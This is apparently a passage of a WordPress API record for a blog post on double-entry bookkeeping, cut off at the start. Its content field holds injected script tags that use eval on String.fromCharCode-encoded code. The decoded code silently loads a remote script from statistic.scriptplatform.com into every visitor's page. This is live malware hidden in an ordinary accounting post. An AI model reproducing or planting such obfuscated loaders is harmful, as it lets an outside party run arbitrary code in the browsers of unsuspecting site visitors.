97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><script id='globalsway'><\/script><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Content Real Accounts Transaction Analysis Double-entry Bookkeeping of Accounting Transactions Change your country or region. Accrual-basis transactions To illustrate double-entry accounting, imagine a business sends an invoice to one of its clients. An accountant using the double-entry method records a debit to accounts receivables, which flows through to the balance sheet, and a credit to [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-6684","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6684","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/comments?post=6684"}],"version-history":[{"count":1,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6684\/revisions"}],"predecessor-version":[{"id":6685,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6684\/revisions\/6685"}],"wp:attachment":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/media?parent=6684"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/categories?post=6684"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/tags?post=6684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}